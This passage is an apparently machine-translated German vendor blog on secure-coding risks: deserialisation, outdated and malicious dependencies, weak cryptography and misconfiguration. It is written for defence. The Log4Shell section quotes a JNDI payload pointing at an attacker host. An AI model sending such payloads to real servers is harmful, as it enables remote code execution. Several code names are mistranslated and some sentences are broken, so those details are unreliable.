Prävention: Vermeiden Sie zunächst nach Möglichkeit die Serialisierung und Deserialisierung sensibler oder beliebiger Datenformate aus nicht vertrauenswürdigen Quellen. Wenn Sie Daten mit dem Client austauschen müssen, verwenden Sie einfachere Formate wie JSON und analysieren/validieren Sie den Inhalt manuell, anstatt die native Sprachobjektserialisierung zu verwenden. Verwenden Sie für Sprachen, die eine Deserialisierung erfordern (z. B. beim Empfang komplexer Objekte), Bibliotheken, die einen sicheren Modus oder eine Whitelist von Klassen unterstützen. Beispielsweise Java's Objekt-Eingabestrom kann über einen Validierungsfilter (verfügbar in aktuellen JDK-Versionen) auf bestimmte Klassen beschränkt werden. Ähnlich verhält es sich bei Python, wo Sie json oder wenn Sie YAML verwenden müssen, verwenden Sie sicher laden anstatt Belastung (um eine mögliche Objektinstanziierung zu vermeiden).

Viele Frameworks haben bekannte Deserialisierungsvektoren behoben, z. B. durch Deaktivieren gefährlicher Standardeinstellungen. Achten Sie darauf, diese Bibliotheken auf dem neuesten Stand zu halten. Die oben genannte React-Sicherheitslücke wurde durch Patches für Next.js und React behoben – ein Upgrade auf diese Versionen ist unerlässlich. Scan von Softwareabhängigkeiten Sie vor solchen CVEs, sodass Sie umgehend Patches installieren können.

Auf der Code-Seite sollten Sie die Deserialisierung wie das Laden einer Datei aus einer nicht vertrauenswürdigen Quelle behandeln – Vertraue niemals seinem Inhalt.Führen Sie nach Möglichkeit Integritätsprüfungen oder Signaturen für serialisierte Daten durch (damit nur der Server gültige serialisierte Objekte erzeugen kann). Wenn Sie JWTs oder andere Tokens verwenden, bevorzugen Sie Standardformate mit integrierter Validierung. Aikido SAST dabei helfen, die Verwendung unsicherer Funktionen zu kennzeichnen (es kann beispielsweise eine Warnung ausgeben, wenn es Pickle-Laden auf Daten, die nicht offensichtlich vertrauenswürdig sind). Und wenn Sie serialisierte Objekte unbedingt akzeptieren müssen, sollten Sie in Betracht ziehen, diese Logik in einer Sandbox-Umgebung mit eingeschränkten Berechtigungen auszuführen.

Zusammenfassend lässt sich sagen: Seien Sie bei der Deserialisierung äußerst vorsichtig. Die Bequemlichkeit, Bytes automatisch in Objekte umzuwandeln, ist das Sicherheitsrisiko nicht wert, es sei denn, dies wird sehr streng kontrolliert.

7. Verwendung von anfälligen und veralteten Abhängigkeiten

Moderne Anwendungen sind stark auf Open-Source-Bibliotheken und Frameworks angewiesen. Der Nachteil dabei ist, dass Sie, wenn Sie diese nicht auf dem neuesten Stand halten, wahrscheinlich bekannte Schwachstellen in Ihrem Code beherbergen. Die Verwendung von anfälligen oder veralteten Komponenten ist so weit verbreitet, dass OWASP sie 2025 in die umfassendere Kategorie „Software-Lieferkette” aufgenommen hat. Eine einzige veraltete Bibliothek kann Ihre Anwendung angreifbar machen, selbst wenn Ihr eigener Code fehlerfrei ist.

Das Paradebeispiel dafür ist Log4Shell (CVE-2021-44228) in Log4j 2. Hierbei handelte es sich um eine kritische RCE-Sicherheitslücke in einer äußerst beliebten Java-Logging-Bibliothek, die Ende 2021 bekannt wurde. Sie ermöglichte es Angreifern, einfach eine speziell gestaltete Zeichenfolge zu senden (${jndi:ldap://attacker.com/a}) in eine beliebige Protokollmeldung einfügen; wenn eine anfällige Log4j-Version diese Zeichenfolge protokollierte, führte sie eine JNDI-Abfrage zum Server des Angreifers durch und lud bösartigen Code. Das Ergebnis? Ein Angreifer konnte durch ein Protokollereignis ausgelöst beliebigen Code auf dem Server ausführen. Log4Shell war überall – Millionen von Anwendungen waren betroffen, da Log4j in unzähligen Java-Produkten eingebettet war. Unternehmen verbrachten Wochen damit, Log4j verzweifelt auf 2.17+ zu aktualisieren, um das Problem zu beheben. Dieser eine Abhängigkeitsfehler wurde als eine der schwerwiegendsten Internet-Sicherheitslücken seit Jahren bezeichnet.

Und es gibt noch viele weitere Beispiele: Der Heartbleed-Bug in OpenSSL (2014) machte die Kommunikation angreifbar, die Jackson-Databind-Deserialisierungsfehler (mehrere CVEs in den Jahren 2017–2019) ermöglichten Angreifern RCE über die JSON-Verarbeitung, eine Schwachstelle in der Python-Bibliothek urllib3 (CVE-2020-26137) ermöglichte unter bestimmten Bedingungen die Umgehung von HTTPS-Zertifikaten usw. In der Welt von JavaScript sind die Prototype-Pollution-Probleme in Lodash und jQuery (z. B. CVE-2019-10744) unvergessen – Angreifer konnten den Prototyp eines Objekts durch böswillige Eingaben manipulieren und so möglicherweise Chaos in der Anwendung anrichten. Wenn Sie eine veraltete Version eines beliebten Pakets verwenden, ist die Wahrscheinlichkeit groß, dass Schwachstellen dafür öffentlich bekannt sind. Angreifer kennen diese sicherlich und werden versuchen, Anwendungen auszunutzen, die nicht gepatcht wurden.

Auswirkungen: Die Auswirkungen variieren je nach Schwachstelle der Bibliothek, können jedoch so schwerwiegend sein wie die Ausführung von Remote-Code, Datenlecks oder vollständige Kompromittierung. Nehmen wir das Beispiel Log4Shell: Wenn Sie eine alte Log4j-Version verwenden, könnte ein Angreifer durch das Senden der richtigen Zeichenfolge Remote-Code auf Ihren Servern ausführen (schlimmer geht es kaum). Ein veraltetes Web-Framework könnte XSS oder SQLi auf Ihrer Website ermöglichen, selbst wenn Ihr eigener Code korrekt ist. Eine anfällige Kryptografie-Bibliothek könnte die Verschlüsselung, auf die Sie sich verlassen, außer Kraft setzen. Im Wesentlichen ist Ihre Sicherheit nur so stark wie das schwächste Glied in Ihren Abhängigkeiten. Angreifer suchen häufig über Header oder bekannte Dateipfade nach bestimmten Softwareversionen, um ausnutzbare Ziele zu identifizieren.

Prävention: Bleiben Sie über Updates auf dem Laufenden. Das ist leichter gesagt als getan (bei großen Projekten mit vielen Abhängigkeiten können ständige Updates eine lästige Pflicht sein), aber aus Sicherheitsgründen unverzichtbar. Verwenden Sie Tools zum Abhängigkeitsmanagement, die Ihnen verfügbare Updates anzeigen, und nehmen Sie sich regelmäßig Zeit, um diese zu installieren. Nutzen Sie Tools Software-Kompositionsanalyse SCA), die Sie warnen, wenn Ihr Projekt eine Bibliothek mit einer bekannten CVE einbindet. Wenn beispielsweise eine kritische Schwachstelle in lodash 4.17.19 und Sie verwenden das, würde ein SCA dies melden und ein Upgrade auf 4.17.21Viele Paketregister veröffentlichen auch Sicherheitshinweise – verwenden Sie im Rahmen Ihres CI-Prozesses die für Ihr Ökosystem geeigneten Audit-Tools.

Über reine Warnmeldungen hinaus können einige moderne Tools diese Probleme sogar automatisch beheben und Sie automatisch auf sichere Versionen umstellen. Einige Plattformen können anfällige Pakete erkennen und das minimale Versions-Upgrade vorschlagen, das die CVE patcht (und sogar einen Pull-Request für Sie öffnen). Testen Sie nach Upgrades immer, aber lassen Sie sich nicht aus Angst vor grundlegenden Änderungen dazu verleiten, eine alte, anfällige Version zu behalten – das Risiko einer Sicherheitsverletzung überwiegt in den meisten Fällen das Risiko eines kleinen Updates.

Minimieren Sie außerdem nach Möglichkeit Abhängigkeiten (weniger Bibliotheken bedeuten weniger potenzielle Schwachstellen) und bevorzugen Sie Bibliotheken, die aktiv gepflegt werden. Wenn ein Projekt aufgegeben zu sein scheint und bekannte Probleme aufweist, ziehen Sie Alternativen in Betracht. Behalten Sie Sicherheitsfeeds im Auge, um kritische Schwachstellen in der von Ihnen verwendeten Technologie zu erkennen. Betrachten Sie das Abhängigkeitsmanagement im Wesentlichen als Teil Ihrer Sicherheitsstrategie und nicht nur als eine DevOps-Aufgabe. Das Ziel besteht darin, bekannte Lücken zu schließen, bevor Angreifer sie ausnutzen können.

8. Bösartige oder kompromittierte Abhängigkeiten (Lieferkettenangriffe)

Ähnlich wie die Verwendung veralteter Komponenten, aber noch heimtückischer, sind Lieferkettenangriffe – dabei vergiften Angreifer die Quelle, indem sie bösartigen Code in die von Ihnen verwendeten Pakete von Drittanbietern einschleusen. Anstatt auf eine Schwachstelle zu warten, schafft der Angreifer selbst eine, indem er heimlich eine Bibliothek manipuliert (oder eine gefälschte veröffentlicht), die Entwickler dann in ihre Projekte einbinden. Diese Form des Angriffs hat in den letzten Jahren stark zugenommen, insbesondere in Ökosystemen wie npm und PyPI.

Ein dramatischer Fall ereignete sich in September 2025, als einer der größten npm-Hacks der Geschichte stattfand. Angreifer phishten einen Maintainer beliebter Pakete wie debug und chalk (die zusammen über 2 Milliarden wöchentliche Downloads hatten!) und erlangten die Kontrolle über sein npm-Konto. Anschließend veröffentlichten sie infizierte Updates für 18 Pakete, indem sie bösartigen Code hinzufügten, der auf Kryptowährungs-Wallets auf Webseiten abzielte. Entwickler, die diese neuen Versionen in gutem Glauben aktualisierten, holten sich damit im Grunde genommen Malware ins Haus. Der bösartige Code griff auf Web-APIs zu, um Kryptowährungen zu stehlen, indem er während Transaktionen die Wallet-Adressen austauschte. Dieser Vorfall hatte massive Auswirkungen – er gefährdete potenziell Millionen von Anwendungen, bis die Pakete entfernt und gepatcht wurden. Er macht deutlich, dass selbst weithin vertrauenswürdige Pakete plötzlich zu Trojanern werden können, wenn ihre Betreuer kompromittiert werden.

Weitere Beispiele: Das npm-Paket „event-stream“ wurde 2018 bekanntlich kompromittiert, um Bitcoin-Wallet-Schlüssel aus einer bestimmten App zu stehlen. Im Jahr 2021 gab es bei PyPI eine Reihe von Typosquatting-Angriffen, bei denen Angreifer Pakete mit Namen hochgeladen haben, die denen beliebter Pakete ähnelten (z. B. „urlib3“ statt „urllib3“) und Backdoors enthielten. Jeder, der den Namen falsch eingegeben hat, hat das bösartige Paket installiert. Selbst Infrastruktur-Tools wurden getroffen – Docker Hub-Images, VSCode-Erweiterungen, was auch immer.

Auswirkung: Eine bösartige Abhängigkeit kann beliebigen Code mit denselben Berechtigungen wie Ihre Anwendung ausführen. Das bedeutet, dass sie Daten Ihrer App stehlen, secrets API-Schlüssel, Datenbank-Anmeldedaten) aus Ihrer Umgebung exfiltrieren, Hintertüren einbauen oder andere Systeme angreifen kann. Lieferkettenangriffe wenden das Vertrauensmodell Lieferkettenangriffe gegen uns: Wir vertrauen darauf, dass Open-Source-Pakete harmlos sind, und integrieren sie daher ohne Bedenken. Wird dieses Vertrauen einmal missbraucht, können die Auswirkungen weitreichend und sehr schwer zu erkennen sein (wie viele Entwickler überprüfen jede Zeile Code in ihren node_modules? Keiner). Das Ausmaß macht dies so gefährlich – kompromittiert man ein beliebtes Paket, kann man potenziell Tausende von nachgelagerten Anwendungen auf einen Schlag angreifen.

Prävention: Der Schutz vor bösartigen Abhängigkeiten ist eine Herausforderung, aber es gibt bewährte Vorgehensweisen:

• Versionen festlegen und überprüfen: Aktualisieren Sie Ihre Abhängigkeiten nicht blindlings und ohne Überprüfung automatisch auf die neueste Version. Verwenden Sie Sperrdateien oder explizite Versionsfestlegungen, damit keine böswilligen Updates automatisch eingeschleust werden können. Wenn eine neue Version einer kritischen Abhängigkeit veröffentlicht wird, werfen Sie nach Möglichkeit einen Blick auf das Änderungsprotokoll oder den Diff, insbesondere wenn es sich um ein Paket mit großer Auswirkung handelt.
• Verwenden Sie Funktionen zur Überprüfung der Paketintegrität: Paketmanager wie npm und PyPI unterstützen die Überprüfung von Paketsignaturen oder Prüfsummen. Bei npm erhalten Sie einen SHA-512-Integritätshash im Lockfile – die Wahrscheinlichkeit, dass ein Angreifer eine Hash-Kollision erzeugt, ist vernachlässigbar, sodass Sie sicher sein können, dass Sie genau das installieren, was Sie denken. Einige Ökosysteme verfügen über signierte Pakete – wenn verfügbar, nutzen Sie diese Funktion.
• Überwachungshinweise: Sicherheitshinweise und proaktive Überwachungstools können melden, wenn ein Paket kompromittiert wurde. Bei einigen größeren Vorfällen wurden Warnmeldungen sehr schnell ausgegeben. Projekte und Plattformen unterhalten Bedrohungs-Feeds für bösartige Pakete, die Sie warnen oder die Installation bekannter schädlicher Pakete blockieren können.
• Minimale Berechtigungen und Sandboxing: Erwägen Sie, Builds oder Paketinstallationen in isolierten Umgebungen auszuführen. Wenn ein bösartiges Paket ausgeführt wird, kann es in einer Sandbox oder einem container eingeschränkten Berechtigungen weniger Schaden anrichten. Versuchen Sie außerdem, Ihre Anwendung zur Laufzeit mit den geringstmöglichen Berechtigungen auszuführen, damit eine fehlerhafte Bibliothek nur minimalen Zugriff hat (führen Sie beispielsweise Ihre Node.js-Anwendung nicht als Root auf dem Server aus).
• Code überprüfen, wenn möglich: Dies ist in großem Maßstab schwierig, aber bei sehr wichtigen Abhängigkeiten kann es sich lohnen, eine schnelle Codeüberprüfung durchzuführen oder automatisierte Tools zu verwenden, die das Verhalten von Paketen analysieren. Einige Tools versuchen zu erkennen, ob ein Update plötzlich Netzwerkverbindungen unterbricht oder Umgebungsvariablen auf verdächtige Weise ausliest.

Zusammenfassend lässt sich sagen: Bleiben Sie wachsam, was Ihre Lieferkette angeht. Die Community entwickelt derzeit weitere Tools, um dieses Problem zu bekämpfen (npm bietet nun 2FA für Maintainer usw.), aber letztendlich müssen Sie als Nutzer von Paketen selbst darauf achten, was Sie in Ihre Anwendung einbinden. Der Einsatz einer automatisierten Lösung zum Scannen von Abhängigkeiten auf Malware kann eine zusätzliche Schutzebene bieten und bösartigen Code abfangen, bevor er Sie erwischt.

9. Schwache Kryptografiepraktiken

Selbst wenn Entwickler versuchen, Daten zu sichern, ist es wichtig, wie sie dabei vorgehen. Eine falsche Verwendung von Kryptografie kann ein falsches Gefühl der Sicherheit vermitteln. Häufige Fallstricke sind die Verwendung veralteter oder schwacher Algorithmen, die unsachgemäße Verwaltung von Schlüsseln oder die manuelle Implementierung von Kryptografieprotokollen (und dabei Fehler zu machen). Diese Fehler führen nicht immer zu einer offensichtlichen CVE, aber sie untergraben die Schutzmaßnahmen, die Sie eigentlich einrichten wollten.

Einige Beispiele:

• Schwache Hash-Funktionen für Passwörter: Die Speicherung von Passwörtern mit einer schnellen Hash-Funktion wie MD5 oder SHA-1 (oder schlimmer noch, ohne Salt) ist gefährlich. Schnelle Hash-Funktionen können mit moderner Hardware sehr schnell durch Brute-Force-Angriffe oder Rainbow-Tabellen geknackt werden. Es gab viele Sicherheitsverletzungen, bei denen Unternehmen Passwörter gehasht haben, aber dennoch Schaden genommen haben, weil Angreifer diese Hash-Funktionen geknackt haben. Aus diesem Grund ist es Industriestandard, langsame, rechenintensive Hash-Funktionen (bcrypt, scrypt, Argon2) mit Salzen zu verwenden.
• Fest codierte oder wiederverwendete kryptografische Schlüssel: Wir haben gesehen, dass Entwickler geheime JWT-Schlüssel, API-HMAC secrets oder Verschlüsselungsschlüssel in öffentlichen Repositorys hinterlegen (dies überschneidet sich mit dem secrets ). Wenn ein Angreifer Ihren symmetrischen Schlüssel erhält, kann er nach Belieben Token fälschen oder Daten entschlüsseln. Ebenso kann die Wiederverwendung desselben Schlüssels in verschiedenen Umgebungen oder die Verwendung von Standardschlüsseln (einige Frameworks wurden mit einem Standard-JWT-Geheimschlüssel für den Entwicklungsmodus ausgeliefert, den die Entwickler vergessen haben zu ändern) zu Kompromittierungen führen.
• Unsichere Zufälligkeit: Verwendung von nicht kryptografisch sicheren Zufallsgeneratoren für sicherheitskritische Token. Beispielsweise die Verwendung von Zufallszahl in JavaScript, um ein Token zum Zurücksetzen des Passworts zu generieren – das ist vorhersehbar genug, um mit Brute-Force-Angriffen geknackt zu werden. Es gab bereits CVEs in Sprachen wegen mangelhafter Zufallszahlengenerierung, aber häufiger ist es so, dass Entwickler nicht erkennen, dass sie etwas wie Krypto.ZufallsBytes oder Sicherer Zufall.
• Benutzerdefinierte Kryptografie und Protokolle: „Entwickeln Sie keine eigene Kryptografie“ lautet eine alte Weisheit. Die Implementierung eines eigenen Verschlüsselungsalgorithmus oder -protokolls führt wahrscheinlich zu Fehlern. Beispielsweise könnte ein Entwickler beschließen, Daten mit AES zu verschlüsseln, aber den ECB-Modus zu verwenden (der unsicher ist, da er identische Blöcke nicht randomisiert) – dieses Muster ist in einigen selbst entwickelten Verschlüsselungsbibliotheken aufgetreten und hat zur Offenlegung von Informationen geführt. Ein weiteres Beispiel: Signaturen werden nicht ordnungsgemäß überprüft (z. B. wird die Zertifikatskette in einer SSL/TLS-Verbindung nicht überprüft, wodurch die Validierung effektiv deaktiviert wird – was in einigen Apps zu Man-in-the-Middle-Schwachstellen geführt hat).

Auswirkungen: Schwache Verschlüsselung kann zu Datenverletzungen und Umgehung der Authentifizierung führen. Wenn Passwörter leicht zu knacken sind, bedeutet eine Verletzung Ihrer Hash-Passwortdatenbank, dass Angreifer einen großen Prozentsatz der tatsächlichen Passwörter erhalten. Wenn Tokens oder Cookies mit einem schwachen Schlüssel (oder gar keinem) signiert sind, können Angreifer diese Tokens fälschen, um sich als Benutzer auszugeben (so funktionierte das JWT-„alg:none”-Fiasko – es bedeutete im Wesentlichen „keine Signatur”). Wenn die Verschlüsselung falsch durchgeführt wird, können Angreifer sensible Daten entschlüsseln oder unbemerkt manipulieren. Im Grunde genommen glauben Sie, dass Ihre Daten sicher sind, aber das sind sie nicht – und das kann katastrophale Folgen haben, da Sie möglicherweise keine weiteren Schutzmaßnahmen ergreifen, weil Sie davon ausgehen, dass die Verschlüsselung Sie schützt.

Prävention: Befolgen Sie die etablierten Best Practices und Standards gewissenhaft:

• Verwenden Sie bewährte Bibliotheken für Kryptografie, anstatt eigene zu schreiben. Verwenden Sie die neuesten Protokolle (TLS 1.3 statt TLS 1.0, JWT mit starken Algorithmen oder besser noch undurchsichtige Token mit serverseitiger Speicherung, wenn möglich usw.).
• Wählen Sie starke Algorithmen und Modi: AES-GCM oder ChaCha20-Poly1305 für die Verschlüsselung, RSA ECDSA mit ausreichender Schlüssellänge für Signaturen, PBKDF2/bcrypt/Argon2 für das Hashing von Passwörtern usw. Vermeiden Sie veraltete Algorithmen (MD5, SHA-1, DES, RC4 usw.).
• Verwalten Sie Schlüssel sicher: Verwenden Sie keine fest codierten Schlüssel (auch hier wieder Geheimnisverwaltung), wechseln Sie die Schlüssel regelmäßig und verwenden Sie separate Schlüssel für separate Zwecke. Wenn Sie JWTs verwenden, stellen Sie sicher, dass das Signaturgeheimnis oder der Schlüssel ausreichend komplex ist und sicher gespeichert wird.
• Verwenden Sie für Zufallswerte (API-Schlüssel, Tokens, Nonces) kryptografisch sichere Zufallsgeneratoren. In den meisten Sprachen gibt es dafür eine spezielle Funktion: z. B. crypto.randomBytes in Node, System.Security.Cryptography.RandomNumberGenerator in .NET, java.security.SecureRandom in Java (mit einer guten Quelle).
• Wenn Sie Krypto-Bibliotheken verwenden, lesen Sie deren Dokumentation zur richtigen Verwendung. Viele Fehler entstehen durch unsachgemäßen Gebrauch. Wenn Sie beispielsweise PyCrypto oder das Krypto-Paket von Go verwenden, stellen Sie sicher, dass Sie für jeden Verschlüsselungsaufruf einen eindeutigen IV bereitstellen, Nonces nicht wiederverwenden usw. Viele Bibliotheken verwenden sichere Standardeinstellungen, aber nicht alle.
• Testen und Überprüfen: Führen Sie Tests durch, die beispielsweise sicherstellen, dass Sie ein gehashte Passwort nicht einfach knacken können oder dass verschlüsselte Daten nicht manipuliert werden können. Erwägen Sie den Einsatz von Tools wie Krypto-Linters oder -Analysatoren, die schwache Algorithmen kennzeichnen können. Es gibt beispielsweise statische Analyseregeln zum Erkennen der Verwendung von MD5 oder konstanten IVs. Das Scannen Aikidokann einige schwache Kryptografiemuster (wie die Verwendung unsicherer Hash-Funktionen) erkennen und Sie darauf aufmerksam machen, sodass Sie auf sicherere Alternativen umsteigen können.

Kurz gesagt: Starke Kryptografie ist Ihr Freund – aber nur, wenn sie richtig eingesetzt wird. Nutzen Sie von der Community geprüfte Implementierungen und Konfigurationen. Wenn Sie Zweifel haben, wenden Sie sich an Sicherheitsexperten oder informieren Sie sich über die richtige Vorgehensweise, anstatt zu raten. Ein wenig zusätzliche Zeit, die Sie für die richtige Kryptografie aufwenden, kann Sie später vor einer größeren Sicherheitsverletzung bewahren.

10. Sicherheitsfehler bei der Konfiguration und unsichere Standardeinstellungen

Nicht alle Schwachstellen sind auf die Codelogik zurückzuführen; manchmal ist es die Konfiguration (oder Fehlkonfiguration) der Anwendung, die eine Lücke öffnet. Sicherheitsfehlkonfiguration ist eine weit gefasste Kategorie, aber im Zusammenhang mit Code sprechen wir hier von Dingen wie dem Belassen von Debug-Modi, der Verwendung von Standard-Anmeldedaten oder Beispielkonfigurationen, ausführlichen Fehlermeldungen, die Informationen preisgeben, oder dem Nichtkonfigurieren von Sicherheitsheadern. Oft handelt es sich dabei um einfache Versehen, die schwerwiegende Folgen haben können.

Beispiele:

• Debug-Modus aktiviert lassen: Viele Frameworks (Django, Flask, Rails usw.) verfügen über einen Debug-/Entwicklungsmodus, der in der Produktion niemals aktiviert werden sollte. Im Debug-Modus bieten Frameworks oft umfangreiche Fehlerseiten und sogar interaktive Konsolen. Mit dem Werkzeug-Debugger in Flask können Sie beispielsweise beliebigen Python-Code über den Browser ausführen – ideal für die Entwicklung, aber wenn er in der Produktion aktiviert bleibt (und ein Angreifer darauf zugreifen kann), ist dies ein sofortiger RCE. Es gab Fälle, in denen falsch konfigurierte Flask-Anwendungen mit aktiviertem Debug-Modus mit dem Internet verbunden waren und Angreifer den Server leicht übernehmen konnten. (Dieses Problem ist so bekannt, dass Frameworks große Warnungen ausgeben, aber es kommt immer noch gelegentlich vor.)
• Standard-Anmeldedaten/Konfigurationen: Beispiele hierfür sind das Beibehalten des Standard-Administratorpassworts „admin“ oder das Nichtändern der Standard-API-Schlüssel. Im Code haben Sie vielleicht ein Tutorial verwendet, das ein Beispiel für ein JWT-Geheimnis „secret123“ enthielt, und Sie haben es nie geändert – ups, das bedeutet, dass jeder Tokens fälschen könnte. Oder ein Cloud-Speicher-SDK verwendet möglicherweise standardmäßig einen bestimmten Bucket-Namen oder eine bestimmte Zugriffsregel, die Sie nicht überschrieben haben, wodurch versehentlich etwas öffentlich zugänglich bleibt.
• Ausführliche Fehlermeldungen und Stack-Traces: Wenn Ihre Anwendung dem Benutzer vollständige Stack-Traces oder Fehler-Dumps anzeigt, kann ein Angreifer eine Menge Informationen sammeln (Softwareversionen, interne Pfade, Abfragestrukturen). Diese Informationen können andere Angriffe erleichtern, wie z. B. SQL-Injection (Kenntnis der Abfragestruktur aus einer Fehlermeldung) oder die Ermittlung der von Ihnen verwendeten Bibliotheksversionen.
• Sicherheits-Header und Einstellungen: Wenn Sie Ihre Webanwendung nicht mit sicheren Headern (Content Security Policy, X-Frame-Options, HSTS usw.) konfigurieren, stellt dies zwar keine direkte Schwachstelle in Ihrem Code dar, verhindert jedoch nicht bestimmte Arten von Angriffen. Ebenso kann es zu Fehlkonfigurationen kommen, die zu Exploits (wie MITM) führen, wenn Sie zulassen, dass Ihre App über HTTP ausgeführt wird (ohne Umleitung zu HTTPS), oder wenn Sie TLS-Zertifikate nicht validieren, wenn Ihr Code ausgehende Anfragen stellt.
• Datei-/Verzeichnisberechtigungen und Uploads: Wenn Ihre App von Benutzern hochgeladene Dateien ohne jegliche Überprüfung in einem über das Internet zugänglichen Verzeichnis speichert, könnte ein Angreifer ein Skript hochladen und dann direkt über die URL darauf zugreifen – damit hat er effektiv Code auf Ihrem Server ausgeführt (so funktionierten viele ältere PHP-Exploits). Dies könnte als Fehlkonfiguration der App angesehen werden (keine Verhinderung gefährlicher Dateitypen und keine ordnungsgemäße Isolierung von Uploads).

Auswirkungen: Fehlkonfigurationen können ebenso wie Codefehler zu einer sofortigen Kompromittierung führen. Beispielsweise ist eine Admin-Oberfläche ohne Passwort (das kommt vor!) im Grunde genommen eine offene Tür. Eine aktivierte Debug-Konsole kann einem Angreifer Shell-Zugriff verschaffen. Detaillierte Fehlermeldungen können Angreifern dabei helfen, einen SQL-Injection- oder XSS-Vektor zu finden. Auch wenn Fehlkonfigurationen zunächst nur wie „eine kleine Einstellung“ erscheinen mögen, können sie genauso fatal sein wie jede andere Schwachstelle. Der Hackerangriff auf Uber im Jahr 2024 begann beispielsweise Berichten zufolge mit einem ungeschützten Admin-Tool ohne MFA – also einem Problem aufgrund einer Fehlkonfiguration des Zugriffs.

Prävention: Die gute Nachricht ist, dass Fehlkonfigurationen in der Regel leicht zu beheben sind, sobald sie erkannt wurden. Oftmals läuft es darauf hinaus, eine Checkliste für gehärtete Konfigurationen zu pflegen:

• Deaktivieren Sie Debug-/Entwicklermodi in der Produktion. Überprüfen Sie dies vor der Bereitstellung noch einmal. Viele Frameworks erlauben eine Umgebungsvariable oder ein Konfigurationsflag – stellen Sie sicher, dass diese korrekt eingestellt sind. Sie können sogar eine Assertion in den Code einfügen, um die Ausführung zu verweigern, wenn Debugging in einer nicht-lokalen Umgebung aktiviert ist.
• Ändern Sie alle Standardpasswörter und secrets. Dies ist grundlegend, muss jedoch betont werden. Alles, was mit Standardzugangsdaten geliefert wird, sollte bei der ersten Installation geändert werden. Wenn Sie Boilerplate-Code oder Vorlagen verwenden, die Beispielschlüssel oder -passwörter enthalten, suchen Sie diese in Ihrem Code und ersetzen Sie sie durch sichere Werte.
• Behandeln Sie Fehler elegant. Konfigurieren Sie eine generische Fehlerseite für Benutzer. Protokollieren Sie den detaillierten Fehler intern, aber geben Sie keine Stack-Traces an Endbenutzer weiter. Überlegen Sie auch, welche Informationen Ihre API-Fehler zurückgeben – geben Sie keine vollständigen SQL-Abfragen oder Server-Dateipfade preis.
• Wenden Sie Sicherheitsheader und Best Practices an. Verwenden Sie Bibliotheken oder Middleware, die sichere Header setzen (viele Frameworks verfügen über ein Sicherheitsmodul, das Sie aktivieren können). Setzen Sie HTTPS durch und verwenden Sie HSTS, um ein Downgrade auf HTTP zu verhindern. Wenn Ihre App iframes oder Cross-Origin zulassen muss, konfigurieren Sie dies bewusst; wenn nicht, setzen Sie X-Frame-Options DENY usw.
• Umgang mit Datei-Uploads: Wenn Ihre App Datei-Uploads verarbeitet, speichern Sie diese außerhalb des Web-Stammverzeichnisses oder benennen Sie sie in harmlose Dateiendungen um. Überprüfen Sie die Dateitypen. Stellen Sie sicher, dass das Konto, unter dem Ihre App läuft, nur über die Dateiberechtigungen verfügt, die es wirklich benötigt – begrenzen Sie den Schadensradius.
• Aktuelle Plattformkonfigurationen: Halten Sie Ihren Anwendungsserver und Ihre Abhängigkeiten auf dem neuesten Stand, damit Sie von sicheren Standardeinstellungen profitieren. Beispielsweise können neuere Versionen von Frameworks standardmäßig strengere Sicherheitsmaßnahmen aktivieren.

Die Implementierung automatisierter Scans auf Fehlkonfigurationen kann dabei helfen. Tools wie die Plattform Aikidokönnen Ihre Anwendung und Infrastruktur auf häufige Fehlkonfigurationsmuster scannen – beispielsweise indem sie in einer Python-Einstellungsdatei nach „DEBUG = True“ suchen oder überprüfen, ob Ihre Website Sicherheitsheader sendet. Diese Überprüfungen sind oft Teil einer Anwendungssicherheitstestsuite.

Schließlich sollten Sie den Einsatz von Infrastructure as Code (IaC) und DevOps-Pipelines in Betracht ziehen, um Konfigurationsstandards durchzusetzen. Wenn Sie beispielsweise Ihre Anwendung containerisieren, können Sie den container programmieren, container fehlschlägt, wenn bestimmte Umgebungsvariablen (wie ein Prod-Debug-Flag) vorhanden sind. Der Schlüssel liegt darin, die Bereitstellungskonfiguration nicht als Nebensache zu betrachten – sie ist ein integraler Bestandteil der Sicherheit Ihrer Anwendung.

Sicherheit in Ihre Entwicklungs-Pipeline integrieren

Wir haben viele Themen behandelt – von klassischen Injektionen und XSS bis hin zu den Feinheiten von Lieferkettenangriffe Krypto-Bugs. Wenn es ein zentrales Thema gibt, dann ist es, dass sicheres Programmieren eine fortwährende Aufgabe ist. Fehler werden passieren, neue Schwachstellen werden in Ihren Abhängigkeiten auftauchen, und Angreifer werden weiterhin nach dieser einen Unachtsamkeit suchen. Der beste Weg, um immer einen Schritt voraus zu sein, ist die Entwicklung eines robusten Entwicklungsprozesses, der Probleme frühzeitig und kontinuierlich erkennt.

Das bedeutet, dass Sie Praktiken wie Code-Reviews mit Blick auf die Sicherheit, regelmäßige Aktualisierungen von Abhängigkeiten und die Integration von Sicherheitstests in CI/CD einführen sollten. Automatisierte Tools sind dabei Ihr Verbündeter. Beispielsweise können Statische Anwendungssicherheitstests SAST) Ihren Code während des Schreibens analysieren und riskante Muster (SQL-Strings, gefährliche Funktionsaufrufe) markieren, bevor sie überhaupt ausgeführt werden. Abhängigkeitsscanner warnen Sie, sobald eine neue CVE eine Bibliothek in Ihrem Repository betrifft – was entscheidend ist, wenn Exploits innerhalb weniger Stunden als Waffen eingesetzt werden. Secret Scanning kann verhindern, dass Sie versehentlich einen API-Schlüssel auf GitHub hochladen. Und container können sicherstellen, dass Ihre Bereitstellungskonfigurationen gehärtet sind.

Bei Aikidoglauben wir daran, dass dies entwicklerfreundlich sein sollte. Wir lieben Open-Source-Tools wie ESLint, Semgrep, Trivy usw., aber wir wissen auch, dass die Verkettung einer Reihe von Scannern für Entwicklerteams zu einer Herausforderung werden kann. Aus diesem Grund Aikido Plattformen wie Aikido mehrere Sicherheitsprüfungen (SAST, SCA, secrets, IaC, container ) mit benutzerdefinierten Regeln und automatischen Korrekturfunktionen – so erhalten Sie eine umfassende Abdeckung mit einer guten DX. Das Ziel ist es, echte Schwachstellen mit vollständigem Kontext aufzudecken und sogar automatisierte Korrekturen oder Anleitungen direkt in Ihrem Workflow bereitzustellen. Wenn Aikido beispielsweise eine anfällige Bibliothek Aikido , kann es die sichere Version vorschlagen, auf die Sie aktualisieren sollten (und dies für Sie durchführen). Wenn es ein Geheimnis findet, kann es Ihnen helfen, dieses zu rotieren und eine Wiederholung zu verhindern. Dies entlastet Entwickler davon, Sicherheitsexperten für jede einzelne Schwachstelle zu werden – die Tools unterstützen Sie und Sie lernen dabei.

